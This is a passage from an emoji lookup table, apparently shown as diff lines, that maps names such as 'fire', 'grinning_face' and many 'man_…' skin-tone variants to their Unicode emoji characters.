"fast_up_button": "⏫", - "fax_machine": "📠", - "fearful_face": "😨", - "female_sign": "♀", - "ferris_wheel": "🎡", - "ferry": "⛴", - "field_hockey": "🏑", - "file_cabinet": "🗄", - "file_folder": "📁", - "film_frames": "🎞", - "film_projector": "📽", - "fire": "🔥", - "fire_extinguisher": "🧯", - "firecracker": "🧨", - "fire_engine": "🚒", - "fireworks": "🎆", - "first_quarter_moon": "🌓", - "first_quarter_moon_face": "🌛", - "fish": "🐟", - "fish_cake_with_swirl": "🍥", - "fishing_pole": "🎣", - "five-thirty": "🕠", - "five_o’clock": "🕔", - "flag_in_hole": "⛳", - "flamingo": "🦩", - "flashlight": "🔦", - "flat_shoe": "🥿", - "fleur-de-lis": "⚜", - "flexed_biceps": "💪", - "flexed_biceps_dark_skin_tone": "💪🏿", - "flexed_biceps_light_skin_tone": "💪🏻", - "flexed_biceps_medium-dark_skin_tone": "💪🏾", - "flexed_biceps_medium-light_skin_tone": "💪🏼", - "flexed_biceps_medium_skin_tone": "💪🏽", - "floppy_disk": "💾", - "flower_playing_cards": "🎴", - "flushed_face": "😳", - "flying_disc": "🥏", - "flying_saucer": "🛸", - "fog": "🌫", - "foggy": "🌁", - "folded_hands": "🙏", - "folded_hands_dark_skin_tone": "🙏🏿", - "folded_hands_light_skin_tone": "🙏🏻", - "folded_hands_medium-dark_skin_tone": "🙏🏾", - "folded_hands_medium-light_skin_tone": "🙏🏼", - "folded_hands_medium_skin_tone": "🙏🏽", - "foot": "🦶", - "footprints": "👣", - "fork_and_knife": "🍴", - "fork_and_knife_with_plate": "🍽", - "fortune_cookie": "🥠", - "fountain": "⛲", - "fountain_pen": "🖋", - "four-thirty": "🕟", - "four_leaf_clover": "🍀", - "four_o’clock": "🕓", - "fox_face": "🦊", - "framed_picture": "🖼", - "french_fries": "🍟", - "fried_shrimp": "🍤", - "frog_face": "🐸", - "front-facing_baby_chick": "🐥", - "frowning_face": "☹", - "frowning_face_with_open_mouth": "😦", - "fuel_pump": "⛽", - "full_moon": "🌕", - "full_moon_face": "🌝", - "funeral_urn": "⚱", - "game_die": "🎲", - "garlic": "🧄", - "gear": "⚙", - "gem_stone": "💎", - "genie": "🧞", - "ghost": "👻", - "giraffe": "🦒", - "girl": "👧", - "girl_dark_skin_tone": "👧🏿", - "girl_light_skin_tone": "👧🏻", - "girl_medium-dark_skin_tone": "👧🏾", - "girl_medium-light_skin_tone": "👧🏼", - "girl_medium_skin_tone": "👧🏽", - "glass_of_milk": "🥛", - "glasses": "👓", - "globe_showing_americas": "🌎", - "globe_showing_asia-australia": "🌏", - "globe_showing_europe-africa": "🌍", - "globe_with_meridians": "🌐", - "gloves": "🧤", - "glowing_star": "🌟", - "goal_net": "🥅", - "goat": "🐐", - "goblin": "👺", - "goggles": "🥽", - "gorilla": "🦍", - "graduation_cap": "🎓", - "grapes": "🍇", - "green_apple": "🍏", - "green_book": "📗", - "green_circle": "🟢", - "green_heart": "💚", - "green_salad": "🥗", - "green_square": "🟩", - "grimacing_face": "😬", - "grinning_cat_face": "😺", - "grinning_cat_face_with_smiling_eyes": "😸", - "grinning_face": "😀", - "grinning_face_with_big_eyes": "😃", - "grinning_face_with_smiling_eyes": "😄", - "grinning_face_with_sweat": "😅", - "grinning_squinting_face": "😆", - "growing_heart": "💗", - "guard": "💂", - "guard_dark_skin_tone": "💂🏿", - "guard_light_skin_tone": "💂🏻", - "guard_medium-dark_skin_tone": "💂🏾", - "guard_medium-light_skin_tone": "💂🏼", - "guard_medium_skin_tone": "💂🏽", - "guide_dog": "🦮", - "guitar": "🎸", - "hamburger": "🍔", - "hammer": "🔨", - "hammer_and_pick": "⚒", - "hammer_and_wrench": "🛠", - "hamster_face": "🐹", - "hand_with_fingers_splayed": "🖐", - "hand_with_fingers_splayed_dark_skin_tone": "🖐🏿", - "hand_with_fingers_splayed_light_skin_tone": "🖐🏻", - "hand_with_fingers_splayed_medium-dark_skin_tone": "🖐🏾", - "hand_with_fingers_splayed_medium-light_skin_tone": "🖐🏼", - "hand_with_fingers_splayed_medium_skin_tone": "🖐🏽", - "handbag": "👜", - "handshake": "🤝", - "hatching_chick": "🐣", - "headphone": "🎧", - "hear-no-evil_monkey": "🙉", - "heart_decoration": "💟", - "heart_suit": "♥", - "heart_with_arrow": "💘", - "heart_with_ribbon": "💝", - "heavy_check_mark": "✔", - "heavy_division_sign": "➗", - "heavy_dollar_sign": "💲", - "heavy_heart_exclamation": "❣", - "heavy_large_circle": "⭕", - "heavy_minus_sign": "➖", - "heavy_multiplication_x": "✖", - "heavy_plus_sign": "➕", - "hedgehog": "🦔", - "helicopter": "🚁", - "herb": "🌿", - "hibiscus": "🌺", - "high-heeled_shoe": "👠", - "high-speed_train": "🚄", - "high_voltage": "⚡", - "hiking_boot": "🥾", - "hindu_temple": "🛕", - "hippopotamus": "🦛", - "hole": "🕳", - "honey_pot": "🍯", - "honeybee": "🐝", - "horizontal_traffic_light": "🚥", - "horse": "🐴", - "horse_face": "🐴", - "horse_racing": "🏇", - "horse_racing_dark_skin_tone": "🏇🏿", - "horse_racing_light_skin_tone": "🏇🏻", - "horse_racing_medium-dark_skin_tone": "🏇🏾", - "horse_racing_medium-light_skin_tone": "🏇🏼", - "horse_racing_medium_skin_tone": "🏇🏽", - "hospital": "🏥", - "hot_beverage": "☕", - "hot_dog": "🌭", - "hot_face": "🥵", - "hot_pepper": "🌶", - "hot_springs": "♨", - "hotel": "🏨", - "hourglass_done": "⌛", - "hourglass_not_done": "⏳", - "house": "🏠", - "house_with_garden": "🏡", - "houses": "🏘", - "hugging_face": "🤗", - "hundred_points": "💯", - "hushed_face": "😯", - "ice": "🧊", - "ice_cream": "🍨", - "ice_hockey": "🏒", - "ice_skate": "⛸", - "inbox_tray": "📥", - "incoming_envelope": "📨", - "index_pointing_up": "☝", - "index_pointing_up_dark_skin_tone": "☝🏿", - "index_pointing_up_light_skin_tone": "☝🏻", - "index_pointing_up_medium-dark_skin_tone": "☝🏾", - "index_pointing_up_medium-light_skin_tone": "☝🏼", - "index_pointing_up_medium_skin_tone": "☝🏽", - "infinity": "♾", - "information": "ℹ", - "input_latin_letters": "🔤", - "input_latin_lowercase": "🔡", - "input_latin_uppercase": "🔠", - "input_numbers": "🔢", - "input_symbols": "🔣", - "jack-o-lantern": "🎃", - "jeans": "👖", - "jigsaw": "🧩", - "joker": "🃏", - "joystick": "🕹", - "kaaba": "🕋", - "kangaroo": "🦘", - "key": "🔑", - "keyboard": "⌨", - "keycap_#": "#️⃣", - "keycap_*": "*️⃣", - "keycap_0": "0️⃣", - "keycap_1": "1️⃣", - "keycap_10": "🔟", - "keycap_2": "2️⃣", - "keycap_3": "3️⃣", - "keycap_4": "4️⃣", - "keycap_5": "5️⃣", - "keycap_6": "6️⃣", - "keycap_7": "7️⃣", - "keycap_8": "8️⃣", - "keycap_9": "9️⃣", - "kick_scooter": "🛴", - "kimono": "👘", - "kiss": "💋", - "kiss_man_man": "👨\u200d❤️\u200d💋\u200d👨", - "kiss_mark": "💋", - "kiss_woman_man": "👩\u200d❤️\u200d💋\u200d👨", - "kiss_woman_woman": "👩\u200d❤️\u200d💋\u200d👩", - "kissing_cat_face": "😽", - "kissing_face": "😗", - "kissing_face_with_closed_eyes": "😚", - "kissing_face_with_smiling_eyes": "😙", - "kitchen_knife": "🔪", - "kite": "🪁", - "kiwi_fruit": "🥝", - "koala": "🐨", - "lab_coat": "🥼", - "label": "🏷", - "lacrosse": "🥍", - "lady_beetle": "🐞", - "laptop_computer": "💻", - "large_blue_diamond": "🔷", - "large_orange_diamond": "🔶", - "last_quarter_moon": "🌗", - "last_quarter_moon_face": "🌜", - "last_track_button": "⏮", - "latin_cross": "✝", - "leaf_fluttering_in_wind": "🍃", - "leafy_green": "🥬", - "ledger": "📒", - "left-facing_fist": "🤛", - "left-facing_fist_dark_skin_tone": "🤛🏿", - "left-facing_fist_light_skin_tone": "🤛🏻", - "left-facing_fist_medium-dark_skin_tone": "🤛🏾", - "left-facing_fist_medium-light_skin_tone": "🤛🏼", - "left-facing_fist_medium_skin_tone": "🤛🏽", - "left-right_arrow": "↔", - "left_arrow": "⬅", - "left_arrow_curving_right": "↪", - "left_luggage": "🛅", - "left_speech_bubble": "🗨", - "leg": "🦵", - "lemon": "🍋", - "leopard": "🐆", - "level_slider": "🎚", - "light_bulb": "💡", - "light_rail": "🚈", - "link": "🔗", - "linked_paperclips": "🖇", - "lion_face": "🦁", - "lipstick": "💄", - "litter_in_bin_sign": "🚮", - "lizard": "🦎", - "llama": "🦙", - "lobster": "🦞", - "locked": "🔒", - "locked_with_key": "🔐", - "locked_with_pen": "🔏", - "locomotive": "🚂", - "lollipop": "🍭", - "lotion_bottle": "🧴", - "loudly_crying_face": "😭", - "loudspeaker": "📢", - "love-you_gesture": "🤟", - "love-you_gesture_dark_skin_tone": "🤟🏿", - "love-you_gesture_light_skin_tone": "🤟🏻", - "love-you_gesture_medium-dark_skin_tone": "🤟🏾", - "love-you_gesture_medium-light_skin_tone": "🤟🏼", - "love-you_gesture_medium_skin_tone": "🤟🏽", - "love_hotel": "🏩", - "love_letter": "💌", - "luggage": "🧳", - "lying_face": "🤥", - "mage": "🧙", - "mage_dark_skin_tone": "🧙🏿", - "mage_light_skin_tone": "🧙🏻", - "mage_medium-dark_skin_tone": "🧙🏾", - "mage_medium-light_skin_tone": "🧙🏼", - "mage_medium_skin_tone": "🧙🏽", - "magnet": "🧲", - "magnifying_glass_tilted_left": "🔍", - "magnifying_glass_tilted_right": "🔎", - "mahjong_red_dragon": "🀄", - "male_sign": "♂", - "man": "👨", - "man_and_woman_holding_hands": "👫", - "man_artist": "👨\u200d🎨", - "man_artist_dark_skin_tone": "👨🏿\u200d🎨", - "man_artist_light_skin_tone": "👨🏻\u200d🎨", - "man_artist_medium-dark_skin_tone": "👨🏾\u200d🎨", - "man_artist_medium-light_skin_tone": "👨🏼\u200d🎨", - "man_artist_medium_skin_tone": "👨🏽\u200d🎨", - "man_astronaut": "👨\u200d🚀", - "man_astronaut_dark_skin_tone": "👨🏿\u200d🚀", - "man_astronaut_light_skin_tone": "👨🏻\u200d🚀", - "man_astronaut_medium-dark_skin_tone": "👨🏾\u200d🚀", - "man_astronaut_medium-light_skin_tone": "👨🏼\u200d🚀", - "man_astronaut_medium_skin_tone": "👨🏽\u200d🚀", - "man_biking": "🚴\u200d♂️", - "man_biking_dark_skin_tone": "🚴🏿\u200d♂️", - "man_biking_light_skin_tone": "🚴🏻\u200d♂️", - "man_biking_medium-dark_skin_tone": "🚴🏾\u200d♂️", - "man_biking_medium-light_skin_tone": "🚴🏼\u200d♂️", - "man_biking_medium_skin_tone": "🚴🏽\u200d♂️", - "man_bouncing_ball": "⛹️\u200d♂️", - "man_bouncing_ball_dark_skin_tone": "⛹🏿\u200d♂️", - "man_bouncing_ball_light_skin_tone": "⛹🏻\u200d♂️", - "man_bouncing_ball_medium-dark_skin_tone": "⛹🏾\u200d♂️", - "man_bouncing_ball_medium-light_skin_tone": "⛹🏼\u200d♂️", - "man_bouncing_ball_medium_skin_tone": "⛹🏽\u200d♂️", - "man_bowing": "🙇\u200d♂️", - "man_bowing_dark_skin_tone": "🙇🏿\u200d♂️", - "man_bowing_light_skin_tone": "🙇🏻\u200d♂️", - "man_bowing_medium-dark_skin_tone": "🙇🏾\u200d♂️", - "man_bowing_medium-light_skin_tone": "🙇🏼\u200d♂️", - "man_bowing_medium_skin_tone": "🙇🏽\u200d♂️", - "man_cartwheeling": "🤸\u200d♂️", - "man_cartwheeling_dark_skin_tone": "🤸🏿\u200d♂️", - "man_cartwheeling_light_skin_tone": "🤸🏻\u200d♂️", - "man_cartwheeling_medium-dark_skin_tone": "🤸🏾\u200d♂️", - "man_cartwheeling_medium-light_skin_tone": "🤸🏼\u200d♂️", - "man_cartwheeling_medium_skin_tone": "🤸🏽\u200d♂️", - "man_climbing": "🧗\u200d♂️", - "man_climbing_dark_skin_tone": "🧗🏿\u200d♂️", - "man_climbing_light_skin_tone": "🧗🏻\u200d♂️", - "man_climbing_medium-dark_skin_tone": "🧗🏾\u200d♂️", - "man_climbing_medium-light_skin_tone": "🧗🏼\u200d♂️", - "man_climbing_medium_skin_tone": "🧗🏽\u200d♂️", - "man_construction_worker": "👷\u200d♂️", - "man_construction_worker_dark_skin_tone": "👷🏿\u200d♂️", - "man_construction_worker_light_skin_tone": "👷🏻\u200d♂️", - "man_construction_worker_medium-dark_skin_tone": "👷🏾\u200d♂️", - "man_construction_worker_medium-light_skin_tone": "👷🏼\u200d♂️", - "man_construction_worker_medium_skin_tone": "👷🏽\u200d♂️", - "man_cook": "👨\u200d🍳", - "man_cook_dark_skin_tone": "👨🏿\u200d🍳", - "man_cook_light_skin_tone": "👨🏻\u200d🍳", - "man_cook_medium-dark_skin_tone": "👨🏾\u200d🍳", - "man_cook_medium-light_skin_tone": "👨🏼\u200d🍳", - "man_cook_medium_skin_tone": "👨🏽\u200d🍳", - "man_dancing": "🕺", - "man_dancing_dark_skin_tone": "🕺🏿", - "man_dancing_light_skin_tone": "🕺🏻", - "man_dancing_medium-dark_skin_tone": "🕺🏾", - "man_dancing_medium-light_skin_tone": "🕺🏼", - "man_dancing_medium_skin_tone": "🕺🏽", - "man_dark_skin_tone": "👨🏿", - "man_detective": "🕵️\u200d♂️", - "man_detective_dark_skin_tone": "🕵🏿\u200d♂️", - "man_detective_light_skin_tone": "🕵🏻\u200d♂️", - "man_detective_medium-dark_skin_tone": "🕵🏾\u200d♂️", - "man_detective_medium-light_skin_tone": "🕵🏼\u200d♂️", - "man_detective_medium_skin_tone": "🕵🏽\u200d♂️", - "man_elf": "🧝\u200d♂️", - "man_elf_dark_skin_tone": "🧝🏿\u200d♂️", - "man_elf_light_skin_tone": "🧝🏻\u200d♂️", - "man_elf_medium-dark_skin_tone": "🧝🏾\u200d♂️", - "man_elf_medium-light_skin_tone": "🧝🏼\u200d♂️", - "man_elf_medium_skin_tone": "🧝🏽\u200d♂️", - "man_facepalming": "🤦\u200d♂️", - "man_facepalming_dark_skin_tone": "🤦🏿\u200d♂️", - "man_facepalming_light_skin_tone": "🤦🏻\u200d♂️", - "man_facepalming_medium-dark_skin_tone": "🤦🏾\u200d♂️", - "man_facepalming_medium-light_skin_tone": "🤦🏼\u200d♂️", - "man_facepalming_medium_skin_tone": "🤦🏽\u200d♂️", - "man_factory_worker": "👨\u200d🏭", - "man_factory_worker_dark_skin_tone": "👨🏿\u200d🏭", - "man_factory_worker_light_skin_tone": "👨🏻\u200d🏭", - "man_factory_worker_medium-dark_skin_tone": "👨🏾\u200d🏭", - "man_factory_worker_medium-light_skin_tone": "👨🏼\u200d🏭", - "man_factory_worker_medium_skin_tone": "👨🏽\u200d🏭", - "man_fairy": "🧚\u200d♂️", - "man_fairy_dark_skin_tone": "🧚🏿\u200d♂️", - "man_fairy_light_skin_tone": "🧚🏻\u200d♂️", - "man_fairy_medium-dark_skin_tone": "🧚🏾\u200d♂️", - "man_fairy_medium-light_skin_tone": "🧚🏼\u200d♂️", - "man_fairy_medium_skin_tone": "🧚🏽\u200d♂️", - "man_farmer": "👨\u200d🌾", - "man_farmer_dark_skin_tone": "👨🏿\u200d🌾", - "man_farmer_light_skin_tone": "👨🏻\u200d🌾", - "man_farmer_medium-dark_skin_tone": "👨🏾\u200d🌾", - "man_farmer_medium-light_skin_tone": "👨🏼\u200d🌾", - "man_farmer_medium_skin_tone": "👨🏽\u200d🌾", - "man_firefighter": "👨\u200d🚒", - "man_firefighter_dark_skin_tone": "👨🏿\u200d🚒", - "man_firefighter_light_skin_tone": "👨🏻\u200d🚒", - "man_firefighter_medium-dark_skin_tone": "👨🏾\u200d🚒", - "man_firefighter_medium-light_skin_tone": "👨🏼\u200d🚒", - "man_firefighter_medium_skin_tone": "👨🏽\u200d🚒", - "man_frowning": "🙍\u200d♂️", - "man_frowning_dark_skin_tone": "🙍🏿\u200d♂️", - "man_frowning_light_skin_tone": "🙍🏻\u200d♂️", - "man_frowning_medium-dark_skin_tone": "🙍🏾\u200d♂️", - "man_frowning_medium-light_skin_tone": "🙍🏼\u200d♂️", - "man_frowning_medium_skin_tone": "🙍🏽\u200d♂️", - "man_genie": "🧞\u200d♂️", - "man_gesturing_no": "🙅\u200d♂️", - "man_gesturing_no_dark_skin_tone": "🙅🏿\u200d♂️", - "man_gesturing_no_light_skin_tone": "🙅🏻\u200d♂️", - "man_gesturing_no_medium-dark_skin_tone": "🙅🏾\u200d♂️", - "man_gesturing_no_medium-light_skin_tone": "🙅🏼\u200d♂️", - "man_gesturing_no_medium_skin_tone": "🙅🏽\u200d♂️", - "man_gesturing_ok": "🙆\u200d♂️", - "man_gesturing_ok_dark_skin_tone": "🙆🏿\u200d♂️", - "man_gesturing_ok_light_skin_tone": "🙆🏻\u200d♂️", - "man_gesturing_ok_medium-dark_skin_tone": "🙆🏾\u200d♂️", - "man_gesturing_ok_medium-light_skin_tone": "🙆🏼\u200d♂️", - "man_gesturing_ok_medium_skin_tone": "🙆🏽\u200d♂️", - "man_getting_haircut": "💇\u200d♂️", - "man_getting_haircut_dark_skin_tone": "💇🏿\u200d♂️", - "man_getting_haircut_light_skin_tone": "💇🏻\u200d♂️", - "man_getting_haircut_medium-dark_skin_tone": "💇🏾\u200d♂️", - "man_getting_haircut_medium-light_skin_tone": "💇🏼\u200d♂️", - "man_getting_haircut_medium_skin_tone": "💇🏽\u200d♂️", - "man_getting_massage": "💆\u200d♂️", - "man_getting_massage_dark_skin_tone": "💆🏿\u200d♂️", - "man_getting_massage_light_skin_tone": "💆🏻\u200d♂️", - "man_getting_massage_medium-dark_skin_tone": "💆🏾\u200d♂️", - "man_getting_massage_medium-light_skin_tone": "💆🏼\u200d♂️", - "man_getting_massage_medium_skin_tone": "💆🏽\u200d♂️", - "man_golfing": "🏌️\u200d♂️", - "man_golfing_dark_skin_tone": "🏌🏿\u200d♂️", - "man_golfing_light_skin_tone": "🏌🏻\u200d♂️", - "man_golfing_medium-dark_skin_tone": "🏌🏾\u200d♂️", - "man_golfing_medium-light_skin_tone": "🏌🏼\u200d♂️", - "man_golfing_medium_skin_tone": "🏌🏽\u200d♂️", - "man_guard": "💂\u200d♂️", - "man_guard_dark_skin_tone": "💂🏿\u200d♂️", - "man_guard_light_skin_tone": "💂🏻\u200d♂️", - "man_guard_medium-dark_skin_tone": "💂🏾\u200d♂️", - "man_guard_medium-light_skin_tone": "💂🏼\u200d♂️", - "man_guard_medium_skin_tone": "💂🏽\u200d♂️", - "man_health_worker": "👨\u200d⚕️", - "man_health_worker_dark_skin_tone": "👨🏿\u200d⚕️", - "man_health_worker_light_skin_tone": "👨🏻\u200d⚕️", - "man_health_worker_medium-dark_skin_tone": "👨🏾\u200d⚕️", - "man_health_worker_medium-light_skin_tone": "👨🏼\u200d⚕️", - "man_health_worker_medium_skin_tone": "👨🏽\u200d⚕️", - "man_in_lotus_position": "🧘\u200d♂️", - "man_in_lotus_position_dark_skin_tone": "🧘🏿\u200d♂️", - "man_in_lotus_position_light_skin_tone": "🧘🏻\u200d♂️", - "man_in_lotus_position_medium-dark_skin_tone": "🧘🏾\u200d♂️", - "man_in_lotus_position_medium-light_skin_tone": "🧘🏼\u200d♂️", - "man_in_lotus_position_medium_skin_tone": "🧘🏽\u200d♂️", - "man_in_manual_wheelchair": "👨\u200d🦽", - "man_in_motorized_wheelchair": "👨\u200d🦼", - "man_in_steamy_room": "🧖\u200d♂️", - "man_in_steamy_room_dark_skin_tone": "🧖🏿\u200d♂️", - "man_in_steamy_room_light_skin_tone": "🧖🏻\u200d♂️", - "man_in_steamy_room_medium-dark_skin_tone": "🧖🏾\u200d♂️", - "man_in_steamy_room_medium-light_skin_tone": "🧖🏼\u200d♂️", - "man_in_steamy_room_medium_skin_tone": "🧖🏽\u200d♂️", - "man_in_suit_levitating": "🕴", - "man_in_suit_levitating_dark_skin_tone": "🕴🏿", - "man_in_suit_levitating_light_skin_tone": "🕴🏻", - "man_in_suit_levitating_medium-dark_skin_tone": "🕴🏾", - "man_in_suit_levitating_medium-light_skin_tone": "🕴🏼", - "man_in_suit_levitating_medium_skin_tone": "🕴🏽", - "man_in_tuxedo": "🤵", - "man_in_tuxedo_dark_skin_tone": "🤵🏿", - "man_in_tuxedo_light_skin_tone": "🤵🏻", - "man_in_tuxedo_medium-dark_skin_tone": "🤵🏾", - "man_in_tuxedo_medium-light_skin_tone": "🤵🏼", - "man_in_tuxedo_medium_skin_tone": "🤵🏽", - "man_judge": "👨\u200d⚖️", - "man_judge_dark_skin_tone": "👨🏿\u200d⚖️", - "man_judge_light_skin_tone": "👨🏻\u200d⚖️", - "man_judge_medium-dark_skin_tone": "👨🏾\u200d⚖️", - "man_judge_medium-light_skin_tone": "👨🏼\u200d⚖️", - "man_judge_medium_skin_tone": "👨🏽\u200d⚖️", - "man_juggling": "🤹\u200d♂️", - "man_juggling_dark_skin_tone": "🤹🏿\u200d♂️", - "man_juggling_light_skin_tone": "🤹🏻\u200d♂️", - "man_juggling_medium-dark_skin_tone": "🤹🏾\u200d♂️", - "man_juggling_medium-light_skin_tone": "🤹🏼\u200d♂️", - "man_juggling_medium_skin_tone": "🤹🏽\u200d♂️", - "man_lifting_weights": "🏋️\u200d♂️", - "man_lifting_weights_dark_skin_tone": "🏋🏿\u200d♂️", - "man_lifting_weights_light_skin_tone": "🏋🏻\u200d♂️", - "man_lifting_weights_medium-dark_skin_tone": "🏋🏾\u200d♂️", - "man_lifting_weights_medium-light_skin_tone": "🏋🏼\u200d♂️", - "man_lifting_weights_medium_skin_tone": "🏋🏽\u200d♂️", - "man_light_skin_tone": "👨🏻", - "man_mage": "🧙\u200d♂️", - "man_mage_dark_skin_tone": "🧙🏿\u200d♂️", - "man_mage_light_skin_tone": "🧙🏻\u200d♂️", - "man_mage_medium-dark_skin_tone": "🧙🏾\u200d♂️", - "man_mage_medium-light_skin_tone": "🧙🏼\u200d♂️", - "man_mage_medium_skin_tone": "🧙🏽\u200d♂️", - "man_mechanic": "👨\u200d🔧", - "man_mechanic_dark_skin_tone": "👨🏿\u200d🔧", - "man_mechanic_light_skin_tone": "👨🏻\u200d🔧", - "man_mechanic_medium-dark_skin_tone": "👨🏾\u200d🔧", - "man_mechanic_medium-light_skin_tone": "👨🏼\u200d🔧", - "man_mechanic_medium_skin_tone": "👨🏽\u200d🔧", - "man_medium-dark_skin_tone": "👨🏾", - "man_medium-light_skin_tone": "👨🏼", - "man_medium_skin_tone": "👨🏽", - "man_mountain_biking": "🚵\u200d♂️", - "man_mountain_biking_dark_skin_tone": "🚵🏿\u200d♂️", - "man_mountain_biking_light_skin_tone": "🚵🏻\u200d♂️", - "man_mountain_biking_medium-dark_skin_tone": "🚵🏾\u200d♂️", - "man_mountain_biking_medium-light_skin_tone": "🚵🏼\u200d♂️", - "man_mountain_biking_medium_skin_tone": "🚵🏽\u200d♂️", - "man_office_worker": "👨\u200d💼", - "man_office_worker_dark_skin_tone": "👨🏿\u200d💼", - "man_office_worker_light_skin_tone": "👨🏻\u200d💼", - "man_office_worker_medium-dark_skin_tone": "👨🏾\u200d💼", - "man_office_worker_medium-light_skin_tone": "👨🏼\u200d💼", - "man_office_worker_medium_skin_tone": "👨🏽\u200d💼", - "man_pilot": "👨\u200d✈️", - "man_pilot_dark_skin_tone": "👨🏿\u200d✈️", - "man_pilot_light_skin_tone": "👨🏻\u200d✈️", - "man_pilot_medium-dark_skin_tone": "👨🏾\u200d✈️", - "man_pilot_medium-light_skin_tone": "👨🏼\u200d✈️", - "man_pilot_medium_skin_tone": "👨🏽\u200d✈️", - "man_playing_handball": "🤾\u200d♂️", - "man_playing_handball_dark_skin_tone": "🤾🏿\u200d♂️", - "man_playing_handball_light_skin_tone": "🤾🏻\u200d♂️", - "man_playing_handball_medium-dark_skin_tone": "🤾🏾\u200d♂️", - "man_playing_handball_medium-light_skin_tone": "🤾🏼\u200d♂️", - "man_playing_handball_medium_skin_tone": "🤾🏽\u200d♂️", - "man_playing_water_polo": "🤽\u200d♂️", - "man_playing_water_polo_dark_skin_tone": "🤽🏿\u200d♂️", - "man_playing_water_polo_light_skin_tone": "🤽🏻\u200d♂️", - "man_playing_water_polo_medium-dark_skin_tone": "🤽🏾\u200d♂️", - "man_playing_water_polo_medium-light_skin_tone": "🤽🏼\u200d♂️", - "man_playing_water_polo_medium_skin_tone": "🤽🏽\u200d♂️", - "man_police_officer": "👮\u200d♂️", - "man_police_officer_dark_skin_tone": "👮🏿\u200d♂️", - "man_police_officer_light_skin_tone": "👮🏻\u200d♂️", - "man_police_officer_medium-dark_skin_tone": "👮🏾\u200d♂️", - "man_police_officer_medium-light_skin_tone": "👮🏼\u200d♂️", - "man_police_officer_medium_skin_tone": "👮🏽\u200d♂️", - "man_pouting": "🙎\u200d♂️", - "man_pouting_dark_skin_tone": "🙎🏿\u200d♂️", - "man_pouting_light_skin_tone": "🙎🏻\u200d♂️", - "man_pouting_medium-dark_skin_tone": "🙎🏾\u200d♂️", - "man_pouting_medium-light_skin_tone": "🙎🏼\u200d♂️", - "man_pouting_medium_skin_tone": "🙎🏽\u200d♂️", - "man_raising_hand": "🙋\u200d♂️", - "man_raising_hand_dark_skin_tone": "🙋🏿\u200d♂️", - "man_raising_hand_light_skin_tone": "🙋🏻\u200d♂️", - "man_raising_hand_medium-dark_skin_tone": "🙋🏾\u200d♂️", - "man_raising_hand_medium-light_skin_tone": "🙋🏼\u200d♂️", - "man_raising_hand_medium_skin_tone": "🙋🏽\u200d♂️", - "man_rowing_boat": "🚣\u200d♂️", - "man_rowing_boat_dark_skin_tone": "🚣🏿\u200d♂️", - "man_rowing_boat_light_skin_tone": "🚣🏻\u200d♂️", - "man_rowing_boat_medium-dark_skin_tone": "🚣🏾\u200d♂️", - "man_rowing_boat_medium-light_skin_tone": "🚣🏼\u200d♂️", - "man_rowing_boat_medium_skin_tone": "🚣🏽\u200d♂️", - "man_running": "🏃\u200d♂️", - "man_running_dark_skin_tone": "🏃🏿\u200d♂️", - "man_running_light_skin_tone": "🏃🏻\u200d♂️", - "man_running_medium-dark_skin_tone": "🏃🏾\u200d♂️", - "man_running_medium-light_skin_tone": "🏃🏼\u200d♂️", - "man_running_medium_skin_tone": "🏃🏽\u200d♂️", - "man_scientist": "👨\u200d🔬", - "man_scientist_dark_skin_tone": "👨🏿\u200d🔬", - "man_scientist_light_skin_tone": "👨🏻\u200d🔬", - "man_scientist_medium-dark_skin_tone": "👨🏾\u200d🔬", - "man_scientist_medium-light_skin_tone": "👨🏼\u200d🔬", - "man_scientist_medium_skin_tone": "👨🏽\u200d🔬", - "man_shrugging": "🤷\u200d♂️", - "man_shrugging_dark_skin_tone": "🤷🏿\u200d♂️", - "man_shrugging_light_skin_tone": "🤷🏻\u200d♂️", - "man_shrugging_medium-dark_skin_tone": "🤷🏾\u200d♂️", - "man_shrugging_medium-light_skin_tone": "🤷🏼\u200d♂️", - "man_shrugging_medium_skin_tone": "🤷🏽\u200d♂️", - "man_singer": "👨\u200d🎤", - "man_singer_dark_skin_tone": "👨🏿\u200d🎤", - "man_singer_light_skin_tone": "👨🏻\u200d🎤", - "man_singer_medium-dark_skin_tone": "👨🏾\u200d🎤", - "man_singer_medium-light_skin_tone": "👨🏼\u200d🎤", - "man_singer_medium_skin_tone": "👨🏽\u200d🎤", - "man_student": "👨\u200d🎓", - "man_student_dark_skin_tone": "👨🏿\u200d🎓", - "man_student_light_skin_tone": "👨🏻\u200d🎓", - "man_student_medium-dark_skin_tone": "👨🏾\u200d🎓", - "man_student_medium-light_skin_tone": "👨🏼\u200d🎓", - "man_student_medium_skin_tone": "👨🏽\u200d🎓", - "man_surfing": "🏄\u200d♂️", - "man_surfing_dark_skin_tone": "🏄🏿\u200d♂️", - "man_surfing_light_skin_tone": "🏄🏻\u200d♂️", - "man_surfing_medium-dark_skin_tone": "🏄🏾\u200d♂️", - "man_surfing_medium-light_skin_tone": "🏄🏼\u200d♂️", - "man_surfing_medium_skin_tone": "🏄🏽\u200d♂️", - "man_swimming": "🏊\u200d♂️", - "man_swimming_dark_skin_tone": "🏊🏿\u200d♂️", - "man_swimming_light_skin_tone": "🏊🏻\u200d♂️", - "man_swimming_medium-dark_skin_tone": "🏊🏾\u200d♂️", - "man_swimming_medium-light_skin_tone": "🏊🏼\u200d♂️", - "man_swimming_medium_skin_tone": "🏊🏽\u200d♂️", - "man_teacher": "👨\u200d🏫", - "man_teacher_dark_skin_tone": "👨🏿\u200d🏫", - "man_teacher_light_skin_tone": "👨🏻\u200d🏫", - "man_teacher_medium-dark_skin_tone": "👨🏾\u200d🏫", - "man_teacher_medium-light_skin_tone": "👨🏼\u200d🏫", - "man_teacher_medium_skin_tone": "👨🏽\u200d🏫", - "man_technologist": "👨\u200d💻", - "man_technologist_dark_skin_tone": "👨🏿\u200d💻", - "man_technologist_light_skin_tone": "👨🏻\u200d💻", - "man_technologist_medium-dark_skin_tone": "👨🏾\u200d💻", - "man_technologist_medium-light_skin_tone": "👨🏼\u200d💻", - "man_technologist_medium_skin_tone": "👨🏽\u200d💻", - "man_tipping_hand": "💁\u200d♂️", - "man_tipping_hand_dark_skin_tone": "💁🏿\u200d♂️", - "man_tipping_hand_light_skin_tone": "💁🏻\u200d♂️", - "man_tipping_hand_medium-dark_skin_tone": "💁🏾\u200d♂️", - "man_tipping_hand_medium-light_skin_tone": "💁🏼\u200d♂️", - "man_tipping_hand_medium_skin_tone": "💁🏽\u200d♂️", - "man_vampire": "🧛\u200d♂️", - "man_vampire_dark_skin_tone": "🧛🏿\u200d♂️", - "man_vampire_light_skin_tone": "🧛🏻\u200d♂️", - "man_vampire_medium-dark_skin_tone": "🧛🏾\u200d♂️", - 